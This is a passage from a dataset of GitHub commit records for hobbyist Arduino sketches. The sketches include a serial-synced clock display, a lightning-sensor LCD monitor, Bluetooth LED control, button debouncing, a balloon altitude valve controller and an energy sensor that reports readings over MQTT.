schedule[i][j] = 0;\n } \n }\n startPrint = true;\n setSchedule = true;\n}\n\nvoid stopDisplay() { \/\/stop printing and clear the schedule\n startPrint = false;\n for(int i = 0; i < rails; i++){\n for(int j = 0; j < allowedHeight; j++){\n schedule[i][j] = 0;\n } \n }\n}\n\nvoid startClock() {\n\n}\n\nvoid updateTime(){\n while(Serial1.available() < 5) {\n }\n char received[10] = {\n 0,0,0,0,0,0,0,0,0,0 };\n int receivedCount = Serial1.readBytesUntil(0xFF,received,10);\n Serial.println();\n setTime((unsigned char)received[0],(unsigned char)received[1],(unsigned char)received[2],\n (unsigned char)received[3],(unsigned char)received[4],(word)(((unsigned) received[5])<<8) + (word)((unsigned)received[6]));\n phoneSetTime = true;\n}\n\nvoid timerInt()\n{\n if(++counterOffset == 30 & !startPrint){\n counterOffset = 0;\n if(phoneSetTime){\n digitalWrite(13,digitalRead(13)^1); \n if(mode == 0){\n if(currTime) WriteCurrTime();\n if(!currTime) WriteCurrDate();\n currTime = !currTime;\n }\n }\n }\n}\n\nvoid WriteCurrTime(){\n currRowLimit = 5;\n if(rails < 24) return;\n for(int i = 0; i < currRowLimit; i++){\n int currHour = hour();\n char AorP = 'A';\n if(currHour > 12) {currHour-=12; AorP = 'P';}\n schedule[0][i] = numbers[currHour\/10][0][i];\n schedule[1][i] = numbers[currHour\/10][1][i];\n schedule[2][i] = numbers[currHour\/10][2][i];\n \n schedule[3][i] = false;\n \n schedule[4][i] = numbers[currHour%10][0][i];\n schedule[5][i] = numbers[currHour%10][1][i];\n schedule[6][i] = numbers[currHour%10][2][i];\n \n schedule[7][i] = (i%2)-1==0 && i>0; \/\/colons\n \n schedule[8][i] = numbers[minute()\/10][0][i];\n schedule[9][i] = numbers[minute()\/10][1][i];\n schedule[10][i] = numbers[minute()\/10][2][i];\n \n schedule[11][i] = false;\n \n schedule[12][i] = numbers[minute()%10][0][i];\n schedule[13][i] = numbers[minute()%10][1][i];\n schedule[14][i] = numbers[minute()%10][2][i];\n \n schedule[15][i] = false;\n \n schedule[16][i] = alphabet[AorP-65][0][i];\n schedule[17][i] = alphabet[AorP-65][1][i];\n schedule[18][i] = alphabet[AorP-65][2][i];\n \n schedule[19][i] = false;\n \n schedule[20][i] = alphabet['M'-65][0][i];\n schedule[21][i] = alphabet['M'-65][1][i];\n schedule[22][i] = alphabet['M'-65][2][i];\n \n schedule[23][i] = false; \n }\n startPrint = true;\n setSchedule = true;\n}\nvoid WriteCurrDate(){\n currRowLimit = 5;\n if(rails < 24) return;\n for(int i = 0; i < currRowLimit; i++){\n schedule[0][i] = numbers[month()\/10][0][i];\n schedule[1][i] = numbers[month()\/10][1][i];\n schedule[2][i] = numbers[month()\/10][2][i];\n \n schedule[3][i] = false;\n \n schedule[4][i] = numbers[month()%10][0][i];\n schedule[5][i] = numbers[month()%10][1][i];\n schedule[6][i] = numbers[month()%10][2][i];\n \n schedule[7][i] = false;\n \n schedule[8][i] = numbers[day()\/10][0][i];\n schedule[9][i] = numbers[day()\/10][1][i];\n schedule[10][i] = numbers[day()\/10][2][i];\n \n schedule[11][i] = false;\n \n schedule[12][i] = numbers[day()%10][0][i];\n schedule[13][i] = numbers[day()%10][1][i];\n schedule[14][i] = numbers[day()%10][2][i];\n \n schedule[15][i] = false;\n \n schedule[16][i] = numbers[(year()%100)\/10][0][i];\n schedule[17][i] = numbers[(year()%100)\/10][1][i];\n schedule[18][i] = numbers[(year()%100)\/10][2][i];\n \n schedule[19][i] = false;\n \n schedule[20][i] = numbers[(year()%100)%10][0][i];\n schedule[21][i] = numbers[(year()%100)%10][1][i];\n schedule[22][i] = numbers[(year()%100)%10][2][i];\n \n schedule[23][i] = false; \n }\n startPrint = true;\n setSchedule = true;\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetooth_init.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"3b0409b09357730b4c54a4b6dac30ede0f3141bc","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/SerialCallResponse\/SerialCallResponse.ino","new_file":"build\/shared\/examples\/04.Communication\/SerialCallResponse\/SerialCallResponse.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 3b0409b09357730b4c54a4b6dac30ede0f3141bc\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c3b7c68a4be42902bc0f9b5f6b5e0055c0ac1f45","subject":"Update ProbeCube_pp_099b0224.ino","message":"Update ProbeCube_pp_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Code\/ProbeCube_pp_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"864e8147c5c3b9a5e08a2fe6c7a4712bb9d71464","subject":"create Thunder Watcher sketch.","message":"create Thunder Watcher sketch.\n","repos":"kobedigitallabo\/thunder-watcher","old_file":"src\/ThunderWatcher\/ThunderWatcher.ino","new_file":"src\/ThunderWatcher\/ThunderWatcher.ino","new_contents":"\n\/\/AS3935 SCL = A5\n\/\/AS3935 SDA = A4\n\/\/AS3935 IRQ = D5\n\/\/AQM1602 SCL = A5\n\/\/AQM1602 SDA = A4\n\/\/USE 5V PWR\n\n#include <ST7032.h> \/\/ LCD library\n#include <Wire.h>\n#include <FreqCounter.h>\n\n#define AS3935_ADRS 0x00\n#define LCD_ADRS 0x3E \n\n#define AFE_GB 0x1F \/\/ ANALOG FRONT END GAIN BOOST = 12(Indoor) 0x00 to 0x1F\n#define NF_LEV 0x02 \/\/ NOIS FLOOR LEVEL 0x00 to 0x07\n#define WDTH 0x02 \/\/ WATCH DOG THRESHOLD 0x00 to 0x0F\n\nST7032 lcd;\n\nString LCD_STRING;\nbyte reg0,reg1,reg2,reg3,reg4,reg5,reg6,reg7,reg8,reg3A,reg3B,reg3C,reg3D,regDUMMY;\nunsigned long enargy;\nunsigned int distance;\nlong int freq;\nlong int OLD_BUFFER = 10000;\nlong int NOW_BUFFER = 0;\nint C;\nlong int F;\nbyte CAP_RESULT;\n\n\/\/ Thunder mark character\nbyte Lightning[8] = {\n\t0b00010,\n\t0b00100,\n\t0b01100,\n\t0b11111,\n\t0b00110,\n\t0b00100,\n\t0b01000,\n\t0b10000\n};\n\nvoid ByteWrite(byte reg, byte data)\n{\n Wire.beginTransmission(AS3935_ADRS);\n Wire.write(reg);\n Wire.write(data);\n Wire.endTransmission();\n delay(50);\n}\n\nbyte ByteRead(byte reg)\n{\n byte data = 0;\n Wire.beginTransmission(AS3935_ADRS);\n Wire.write(reg);\n Wire.endTransmission(false);\n Wire.requestFrom(AS3935_ADRS,1);\n data = Wire.read(); \/\/ Receive 1 byte\n return data;\n}\n\nvoid resistorRead(void)\n{\n Wire.beginTransmission(AS3935_ADRS);\n Wire.write(0);\n Wire.endTransmission(false);\n Wire.requestFrom(AS3935_ADRS,9);\n reg0 = Wire.read();\n reg1 = Wire.read();\n reg2 = Wire.read();\n reg3 = Wire.read();\n reg4 = Wire.read();\n reg5 = Wire.read();\n reg6 = Wire.read();\n reg7 = Wire.read();\n reg8 = Wire.read();\n Wire.beginTransmission(AS3935_ADRS);\n Wire.write(0x3A);\n Wire.endTransmission(false);\n Wire.requestFrom(AS3935_ADRS,4);\n reg3A = Wire.read();\n reg3B = Wire.read();\n reg3C = Wire.read();\n reg3D = Wire.read();\n \n}\n\nvoid setup()\n{\n pinMode(2,INPUT);\n \n Wire.begin();\n Serial.begin(9600); \/\/ start serial communication at 9600bps\n Serial.println(\"READY\"); \/\/ print the reading\n \/\/ create a new character\n lcd.createChar(5, Lightning);\n \n INIT_LCD();\n DISP_OPENNING();\n INIT_AS3935();\n}\n\nvoid loop()\n{\n writeCommand(0x01); \/\/ Clear Display \n while(1)\n {\n if (digitalRead(5)== HIGH) INT_DETECTS(); \n }\n}\n\nvoid INT_DETECTS(void)\n{\n digitalWrite(4, HIGH); \/\/ LED ON\n byte reg3buffer;\n delay(4);\n resistorRead();\n reg3buffer = reg3 & 0x0F;\n if (reg3buffer == 0x01) INT_NH();\n if (reg3buffer == 0x04) INT_D();\n if (reg3buffer == 0x08) INT_L();\n digitalWrite(4, LOW); \/\/ LED OFF\n}\n\nvoid INT_NH(void) \/\/noise level too high\n{\n writeCommand(0x01); \/\/ Clear Display \n LCD_STRING = \"Nois Level High \";\n LCD_DISP_16_1();\n LCD_STRING = \"el High \";\n LCD_DISP_16_2();\n delay(700);\n writeCommand(0x01); \/\/ Clear Display \n LCD_STRING = \"Watching........ \";\n LCD_DISP_16_1();\n}\n\nvoid INT_D(void) \/\/disturber detected\n{\n writeCommand(0x01); \/\/ Clear Display \n LCD_STRING = \"Disturbe\";\n LCD_DISP_16_1();\n LCD_STRING = \"r DETect\";\n LCD_DISP_16_2();\n delay(1500);\n writeCommand(0x01); \/\/ Clear Display \n LCD_STRING = \"Watching........\";\n LCD_DISP_16_1();\n}\n\nvoid INT_L(void) \/\/lightning interrupt\n{\n writeCommand(0x01); \/\/ Clear Display \n enargy = (((reg6 & 0x0F) * 65536)+ (reg5 * 256)+ (reg4)) & 0x0FFFFF;\n distance = (reg7 );\n lcd.setCursor(0, 0);\n lcd.write(5);\n LCD_STRING = \"E=\" + String(enargy) ;\n lcd.setCursor(1, 0);\n LCD_DISP_16_1();\n LCD_STRING = \"D=\" + String(distance) + \"km\";\n\n if(reg7 == 0x01) LCD_STRING = \"E=\" + String(enargy) + \" OvrHed\";\n if(reg7 == 0x3F) LCD_STRING = \"E=\" + String(enargy) + \" OutRng\";\n LCD_DISP_16_2();\n serialDisplay();\n delay(5000);\n writeCommand(0x01); \/\/ Clear Display \n LCD_STRING = \"Watching........\";\n LCD_DISP_16_1();\n}\n\nvoid INIT_AS3935(void)\n{\n ByteWrite(0x3C,0x96);\n ByteWrite(0x3D,0x96);\n ByteWrite(0x00,(AFE_GB << 1)); \/\/ SET ANALOG FRONT END GAIN BOOST\n ByteWrite(0x01,((NF_LEV << 4) | WDTH));\n ByteWrite(0x03,0x00); \/\/ FRQ DIV RATIO = 1\/16\n CALIB_LCO();\n}\n\nvoid CALIB_LCO(void)\n{\n writeCommand(0x01); \/\/ Clear Display \n delay(20);\n LCD_STRING = \"NOW CALIBRATION \";\n LCD_DISP_16_1();\n LCD_STRING = \"C=000pF F=500000\";\n LCD_DISP_16_2();\n FREQ_COUNT(); \/\/DUMMY\n for ( byte b = 0; b < 0x10 ; b++)\n {\n ByteWrite(0x08,(0x80 | b));\n delay(50);\n FREQ_COUNT();\n NOW_BUFFER = abs(freq - 3125);\n if(OLD_BUFFER > NOW_BUFFER) CAP_RESULT = b;\n OLD_BUFFER = NOW_BUFFER;\n Serial.print(\"CAP = \");\n Serial.print(b,DEC);\n Serial.print(\" freq = \");\n Serial.println((freq * 16 * 10 ),DEC );\n LCD_STRING = String(b * 8);\n writeCommand(0x40+0x82);\n for(int i = 0; i < 3; i++)\n {\n writeData(LCD_STRING[i]);\n }\n LCD_STRING = String(freq * 16 * 10);\n writeCommand(0x40+0x8A);\n for(int i = 0; i < 7 ; i++)\n {\n writeData(LCD_STRING[i]);\n }\n delay(300);\n }\n writeCommand(0x01); \/\/ Clear Display \n Serial.print(\"CAP_RESULT=\");\n Serial.print(CAP_RESULT);\n Serial.print(\" \");\n Serial.print(CAP_RESULT * 8);\n Serial.println(\"pF\");\n ByteWrite(0x08,(0x80 | CAP_RESULT));\n delay(100);\n FREQ_COUNT();\n LCD_STRING = \"CALIBRATION DONE\";\n LCD_DISP_16_1();\n LCD_STRING = \"pF 5000000Hz \";\n LCD_DISP_16_2();\n LCD_STRING = String(CAP_RESULT * 8); \n writeCommand(0x40+0x80);\n for (int i = 0; i < 3; i++)\n {\n writeData(LCD_STRING[i]);\n }\n LCD_STRING = String(freq * 16 * 10);\n writeCommand(0x40+0x87);\n for (int i = 0; i < 7; i++)\n {\n writeData(LCD_STRING[i]);\n }\n ByteWrite(0x08,CAP_RESULT);\n delay(3000);\n}\n\nvoid FREQ_COUNT(void)\n{\n FreqCounter::f_comp = 10;\n FreqCounter::start(100);\n while (FreqCounter::f_ready == 0);\n freq = FreqCounter::f_freq;\n} \n\nvoid DISP_OPENNING(void)\n{\n LCD_STRING = \"Lightning Sensor\";\n LCD_DISP_16_1();\n writeCommand(0x40+0x80);\n LCD_STRING = \" AS3935 DEMO \";\n LCD_DISP_16_2();\n delay(2000);\n}\n \n\/\/Write Data\nvoid writeData(byte t_data)\n{\n Wire.beginTransmission(LCD_ADRS);\n Wire.write(0x40);\n Wire.write(t_data);\n Wire.endTransmission();\ndelay(1);\n}\n\/\/Write Command\nvoid writeCommand(byte t_command)\n{\n Wire.beginTransmission(LCD_ADRS);\n Wire.write(0x00);\n Wire.write(t_command);\n Wire.endTransmission();\ndelay(10);\n}\n\n\/\/Initialize LCD\nvoid INIT_LCD() \n{\n lcd.begin(8, 2); \/\/ LCD range\n lcd.setContrast(30); \/\/ Contrast setting \n lcd.setCursor(0, 0); \/\/ Cursor position\n}\n\nvoid LCD_DISP_16_1(void)\n{\n for(int i = 0; i < 16; i++)\n {\n writeData(LCD_STRING[i]);\n }\n}\n\nvoid LCD_DISP_16_2(void)\n{\n writeCommand(0x40+0x80);\n for(int i = 0; i < 16; i++)\n {\n writeData(LCD_STRING[i]);\n }\n}\n\n\nvoid serialDisplay(void)\n{\n Serial.print(LCD_STRING); \n Serial.print(\" reg0=\");\n Serial.print(reg0,HEX);\n Serial.print(\" reg1=\");\n Serial.print(reg1,HEX);\n Serial.print(\" reg2=\");\n Serial.print(reg2,HEX);\n Serial.print(\" reg3=\");\n Serial.print(reg3,HEX);\n Serial.print(\" reg4=\");\n Serial.print(reg4,HEX);\n Serial.print(\" reg5=\");\n Serial.print(reg5,HEX);\n Serial.print(\" reg6=\");\n Serial.print(reg6,HEX);\n Serial.print(\" reg7=\");\n Serial.print(reg7,HEX);\n Serial.print(\" reg8=\");\n Serial.println(reg8,HEX);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/ThunderWatcher\/ThunderWatcher.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12980bfae784a06276551d5ab4e60a5823b97374","subject":"Bluetooth control of 2 LEDs","message":"Bluetooth control of 2 LEDs\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/bluetooth_LEDs\/bluetooth_LEDs.ino","new_file":"src\/bluetooth_LEDs\/bluetooth_LEDs.ino","new_contents":"int ledPin = 13;\nint state = 0;\nint flag = 0;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available() > 0)\n {\n state = Serial.read();\n Serial.print(\"State: \");\n Serial.println(state);\n flag = 0;\n }\n\n if (state == '0') \n {\n digitalWrite(ledPin, LOW);\n if (flag == 0)\n {\n Serial.println(\"LED: off\");\n flag = 1;\n }\n }\n\n if (state == '1')\n {\n digitalWrite(ledPin, HIGH);\n if (flag == 0)\n {\n Serial.println(\"LED: on\");\n flag = 1;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/bluetooth_LEDs\/bluetooth_LEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec5e65526bbc97d4034723f95ed22458a6bc6528","subject":"implementado bot\u00e3o um-clique com debounce","message":"implementado bot\u00e3o um-clique com debounce\n","repos":"wkoch\/Packager-Ctrl","old_file":"EMP-B-Due.ino","new_file":"EMP-B-Due.ino","new_contents":"\/*\n EMP-B Due\n V0.1 \u00a9 03\/08\/2014 William Koch\n\n Controlador de Empacotadeira com Arduino Due.\n*\/\n\n\/\/ Constantes de Entradas\nconst byte botao_geral = 22;\nint estado_botao_geral;\nint estado_botao_geral_anterior = HIGH;\nlong atraso_geral_anterior = 0;\n\nconst byte indicador_geral = 25;\nint estado_indicador_geral = LOW;\n\n\nconst byte botao_dosador = 26;\nint estado_botao_dosador;\nint estado_botao_dosador_anterior = HIGH;\nlong atraso_dosador_anterior = 0;\n\nconst byte indicador_dosador = 29;\nint estado_indicador_dosador = LOW;\n\n\n\nlong atraso = 50;\n\nvoid setup() {\n pinMode(botao_geral, INPUT_PULLUP);\n pinMode(botao_dosador, INPUT_PULLUP);\n\n pinMode(indicador_geral, OUTPUT);\n pinMode(indicador_dosador, OUTPUT);\n\n \/\/ set initial LED state\n digitalWrite(indicador_geral, estado_indicador_geral);\n digitalWrite(indicador_dosador, estado_indicador_dosador);\n}\n\n\nvoid loop() {\n botao_um_clique(botao_geral, &estado_botao_geral, &estado_botao_geral_anterior, &atraso_geral_anterior, indicador_geral, &estado_indicador_geral);\n botao_um_clique(botao_dosador, &estado_botao_dosador, &estado_botao_dosador_anterior, &atraso_dosador_anterior, indicador_dosador, &estado_indicador_dosador);\n}\n\n\nvoid botao_um_clique(byte botao, int *estado, int *estado_anterior, long *atraso_anterior, byte saida, int *estado_saida ){\n int reading = digitalRead(botao);\n if (reading != *estado_anterior) {\n *atraso_anterior = millis();\n }\n\n if ((millis() - *atraso_anterior) > atraso) {\n if (reading != *estado) {\n *estado = reading;\n if (*estado == LOW) {\n *estado_saida = !*estado_saida;\n }\n }\n }\n digitalWrite(saida, *estado_saida);\n *estado_anterior = reading;\n}\n\n\n\n\/\/ void botao_maquina(){\n\/\/ \/\/ read the state of the switch into a local variable:\n\/\/ int reading = digitalRead(buttonPin);\n\n\/\/ \/\/ check to see if you just pressed the button\n\/\/ \/\/ (i.e. the input went from LOW to HIGH), and you've waited\n\/\/ \/\/ long enough since the last press to ignore any noise:\n\n\/\/ \/\/ If the switch changed, due to noise or pressing:\n\/\/ if (reading != lastButtonState) {\n\/\/ \/\/ reset the debouncing timer\n\/\/ lastDebounceTime = millis();\n\/\/ }\n\n\/\/ if ((millis() - lastDebounceTime) > debounceDelay) {\n\/\/ \/\/ whatever the reading is at, it's been there for longer\n\/\/ \/\/ than the debounce delay, so take it as the actual current state:\n\n\/\/ \/\/ if the button state has changed:\n\/\/ if (reading != buttonState) {\n\/\/ buttonState = reading;\n\n\/\/ \/\/ only toggle the LED if the new button state is HIGH\n\/\/ if (buttonState == LOW) {\n\/\/ ledState = !ledState;\n\/\/ }\n\/\/ }\n\/\/ }\n\n\/\/ \/\/ set the LED:\n\/\/ digitalWrite(ledPin, ledState);\n\n\/\/ \/\/ save the reading. Next time through the loop,\n\/\/ \/\/ it'll be the lastButtonState:\n\/\/ lastButtonState = reading;\n\/\/ }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EMP-B-Due.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e1b2b802673d32895fa3c49d39e57350186dc85","subject":"Altitude Control Servo code","message":"Altitude Control Servo code\n","repos":"PennAerospaceClub\/HAB-10,PennAerospaceClub\/HAB-10,PennAerospaceClub\/HAB-10","old_file":"Altitude\/alt_control\/alt_control.ino","new_file":"Altitude\/alt_control\/alt_control.ino","new_contents":"Servo servo;\nint t = 0;\nint timeStop = 0;\nbool valveClosed = true;\nbool isCrusing = false;\nbool manueverDone = false;\nint altDiff = 0; \/\/avg difference between last 5 readings of alt\nint tCruise = 0;\nvoid setup() {\n servo.attach(0);\n\n}\n\nvoid loop() {\n if (alt >= 50000 && valveClosed) {\n t = millis() + 9000;\n servo.write(180);\n valveClosed = false;\n }\n if (55000 <= alt && !valveClosed) {\n t = millis() + 9000;\n servo.write(0);\n valveClosed = true;\n manueverDone = true;\n }\n if (millis() > t) {\n servo.write(90);\n }\n if (altDiff < 100 && manueverDone) {\n isCruising = true;\n tCruise = millis() + 300000;\n }\n if (millis() > tCruise && isCruising) {\n t = millis() + 216_000_000;\n servo.write(180);\n valveClosed = false;\n isCruising = false;\n }\n if (millis() > (t + 60000) && !isCruising && manueverDone) {\n t = millis() + 216_000_000;\n servo.write(180);\n valveClosed = false;\n isCruising = false;\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Altitude\/alt_control\/alt_control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c487e47de937bc2fa2312752c9d75399fb96fec","subject":"Depuracion de archivos antiguos, actualizacion del sensor de energia","message":"Depuracion de archivos antiguos, actualizacion del sensor de energia\n","repos":"smartcities-livinglab-udg\/IOT-SensorNetwork","old_file":"Arduino\/SensordeEnergia\/SensorEnergia.ino","new_file":"Arduino\/SensordeEnergia\/SensorEnergia.ino","new_contents":"\/**\n * Description: This code has been only tested in Intel Galileo Gen 1 and gets the readings of the next sensors: \n * SCT-013-000 - Electric current sensor\n Then it calls the python scripts to send the data to the server via MQTT. All readings are writen to a file\n located in the SD card, located by default in '\/media\/mmcblk0p1\/'. The SD functions were taken from:\n https:\/\/gist.github.com\/carlynorama\/9316252, we only override writing methods so it could support multiple\n data types.\n\n * Author: Gustavo Adri\u00e1n Jim\u00e9nez Gonz\u00e1lez (Ruxaxup)\n * Date: 03 - 27 - 2017\n * Version: 1.0.0\n * Contact: gustavo.jim.gonz@gmail.com\n**\/\n\n#include <Wire.h>\n#include <SD.h>\n#include \"EmonLib.h\"\n\n#define POTENCIA1 0X20\n#define POTENCIA 0X40\n\n#define ALL_CONNECTED 48\n#define DEBUG 0\n\n\/\/FRECUENCIA DE MUESTREO\n#define SECOND \t\t\t1000\n#define CONNECTION_DELAY SECOND *1 \t\t\/\/ 1 second\n#define TIME_POTENCIA \t\t\t1 \t\/\/min\n#define TIME_DISC \t\tSECOND * 2 \t\/\/Time for connecting sensors\n\/\/LEDS\n#define LED_ERROR 13\n#define LED_WARNING 12\n#define LED_OK 11 \n\n\/\/SENSOR LEYENDO\n#define LED_SENS_1 10\n#define LED_SENS_2 9\n#define LED_SENS_3 8\n\n\n\/\/CANTIDAD DE SENSORES DE ENERGIA\n#define ENERGY_COUNT 3\n\n\/\/VALOR DE CALIBRACION DE SENSORES DE ENERGIA\n#define ENERGY_CAL 116 \/\/504\n\nbyte readingFlag = 0x0;\n\nbyte warningFlag = 0x0;\n\nbyte estatus_sensores, estatus_anterior;\n\ntypedef struct { \/*S2*\/\n double power[ENERGY_COUNT]; \/*S2*\/\n} Mediciones;\n\nenum states {\n start,\n idle,\n readSensors,\n sendMetadata,\n sendDataMQTT,\n error,\n checkRanges,\n connectSensors,\n idleIterator\n};\n\nstates state = start;\n\n\/\/Energy sensors\nEnergyMonitor energySensors[ENERGY_COUNT]; \/*S2*\/\n\/\/Energy IN array\nint energyPINS[] = {A1, A2, A3};\nMediciones m;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/ MQTT \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\n\nvoid blinkERRORLed(int times)\n{\n for (int i = 0; i < times; i++) {\n digitalWrite(LED_ERROR, HIGH);\n delay(250);\n digitalWrite(LED_ERROR, LOW);\n delay(250);\n }\n}\n\nvoid blinkConnectionLEDS(int times)\n{\n for (int i = 0; i < times; i++) {\n digitalWrite (LED_SENS_1, HIGH);\n digitalWrite (LED_SENS_2, HIGH);\n digitalWrite (LED_SENS_3, HIGH);\n delay(100);\n digitalWrite (LED_SENS_1, LOW);\n digitalWrite (LED_SENS_2, LOW);\n digitalWrite (LED_SENS_3, LOW);\n delay(100);\n digitalWrite (LED_ERROR, HIGH);\n digitalWrite (LED_WARNING, HIGH);\n digitalWrite (LED_OK, HIGH);\n delay(100);\n digitalWrite (LED_ERROR, LOW);\n digitalWrite (LED_WARNING, LOW);\n digitalWrite (LED_OK, LOW);\n delay(100);\n }\n}\n\nvoid _sendMetaData(String status) {\n char data[30];\n\n String path = String(\"python \/home\/root\/PythonMQTT\/sendMetadata.py \" + status + \" \" + estatus_sensores);\n char command [path.length() + 1 ];\n path.toCharArray(command, sizeof(command));\n if (DEBUG == 1) Serial.println(command);\n system(command);\n}\n\n\nvoid _sendDataMQTT(String tipoLectura, String status, int energyIndex) {\n char data[25];\n String path = String(\"python \/home\/root\/PythonMQTT\/sendDataMQTTEnergy.py \" + tipoLectura + energyIndex + \" \" + status);\n galileoCreateFile(\"values.txt\");\n if (DEBUG == 1) Serial.println(tipoLectura);\n if (tipoLectura.equals(\"power\")) {\n addValueToFile(\"values.txt\", m.power[energyIndex]*127); \/\/ VALOR MODIFICADO - CALIBRACI\u00d3N NUEVA\n } \/*S2*\/\n char command [path.length() + 1 ];\n path.toCharArray(command, sizeof(command));\n if (DEBUG == 1) Serial.println(command);\n system(command);\n blinkERRORLed(5);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/ MQTT \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid clearData()\n{\n for(int i = 0; i < ENERGY_COUNT; i++)\n {\n m.power[i] = 0.0;\n }\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean getCurrent(EnergyMonitor em, int index)\n{\n \/\/Calcula a corrente\n \/\/I = 0.28, P = 25 kW\n double Irms = em.calcIrms(1480);\n m.power[index] = Irms;\n return true;\n\n}\n\/\/\/\/\/\/\/\/\/\/\/\/ Rangos \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid turnOnStatusLeds(byte sensor)\n{\n switch (sensor) {\n case POTENCIA:\n if ((warningFlag & POTENCIA) == POTENCIA) {\n digitalWrite (LED_WARNING, HIGH);\n digitalWrite (LED_OK, LOW);\n digitalWrite (LED_ERROR, LOW);\n }\n else {\n digitalWrite(LED_WARNING, LOW);\n digitalWrite (LED_ERROR, LOW);\n digitalWrite(LED_OK, HIGH);\n\n }\n break;\n case POTENCIA1:\n if ((warningFlag & POTENCIA1) == POTENCIA1) {\n digitalWrite (LED_WARNING, HIGH);\n digitalWrite (LED_OK, LOW);\n digitalWrite (LED_ERROR, LOW);\n }\n else {\n digitalWrite(LED_WARNING, LOW);\n digitalWrite (LED_ERROR, LOW);\n digitalWrite(LED_OK, HIGH);\n\n }\n break;\n }\n}\n\nvoid turnOnSensorLeds(byte sensor)\n{\n switch (sensor) {\n case POTENCIA:\n digitalWrite (LED_SENS_1, HIGH);\n digitalWrite (LED_SENS_2, HIGH);\n digitalWrite (LED_SENS_3, HIGH);\n\n break;\n case POTENCIA1:\n digitalWrite (LED_SENS_1, HIGH);\n digitalWrite (LED_SENS_2, HIGH);\n digitalWrite (LED_SENS_3, HIGH);\n\n break;\n }\n\n}\n\nvoid resetLeds()\n{\n delay(SECOND);\n digitalWrite (LED_SENS_1, LOW);\n digitalWrite (LED_SENS_2, LOW);\n digitalWrite (LED_SENS_3, LOW);\n digitalWrite(LED_WARNING, LOW);\n digitalWrite (LED_ERROR, LOW);\n digitalWrite(LED_OK, LOW);\n\n}\n\n\nvoid check_ranges()\n{\n warningFlag = 0;\n if ( (estatus_sensores & POTENCIA) == POTENCIA ) {\n \n }\n}\n\nvoid check_sensors()\n\n{\n estatus_anterior = estatus_sensores;\n estatus_sensores = 0;\n if (getCurrent(energySensors[0], 0)) {\n estatus_sensores = estatus_sensores | POTENCIA;\n }\n else {\n if (DEBUG == 1)Serial.println(\"Sensor de potencia1 desconectado\");\n }\n}\n\nvoid calibrateCurrentSensor(EnergyMonitor *em)\n{\n em->calcIrms(5860);\n em->calcIrms(5860);\n em->calcIrms(5860);\n em->calcIrms(5860);\n em->calcIrms(5860);\n}\n\nvoid setup(void)\n{\n\n Serial.begin(9600);\n \/\/Current\n \/\/Pino, calibracao - Cur Const= Ratio\/BurdenR. 1800\/62 = 29.\n for(int i = 0; i < ENERGY_COUNT; i++)\n {\n energySensors[i].current(energyPINS[i], ENERGY_CAL);\n calibrateCurrentSensor(&energySensors[i]);\n }\n \n pinMode(LED_ERROR, OUTPUT);\n digitalWrite(LED_ERROR, LOW);\n pinMode(LED_WARNING, OUTPUT);\n digitalWrite(LED_WARNING, LOW);\n pinMode(LED_OK, OUTPUT);\n digitalWrite(LED_OK, LOW);\n pinMode(LED_SENS_1, OUTPUT);\n digitalWrite(LED_SENS_1, LOW);\n pinMode(LED_SENS_2, OUTPUT);\n digitalWrite(LED_SENS_2, LOW);\n pinMode(LED_SENS_3, OUTPUT);\n digitalWrite(LED_SENS_3, LOW);\n\n \/\/Indicador de arranque\n turnOnSensorLeds(POTENCIA);\n resetLeds();\n turnOnSensorLeds(POTENCIA);\n resetLeds();\n \n turnOnSensorLeds(POTENCIA1);\n resetLeds();\n turnOnSensorLeds(POTENCIA1);\n resetLeds();\n\n estatus_sensores = 0;\n}\n\n\/******************************** SD **********************************\/\n\/\/SD.open retrieves the file in append more.\nvoid addValueToFile(String fileName, float content) {\n char charFileName[fileName.length() + 1];\n fileName.toCharArray(charFileName, sizeof(charFileName));\n\n if (SD.exists(charFileName)) {\n File targetFile = SD.open(charFileName, FILE_WRITE);\n targetFile.print(content);\n targetFile.print(\"\\n\");\n targetFile.close();\n }\n}\n\nvoid addValueToFile(String fileName, double content) {\n char charFileName[fileName.length() + 1];\n fileName.toCharArray(charFileName, sizeof(charFileName));\n\n if (SD.exists(charFileName)) {\n File targetFile = SD.open(charFileName, 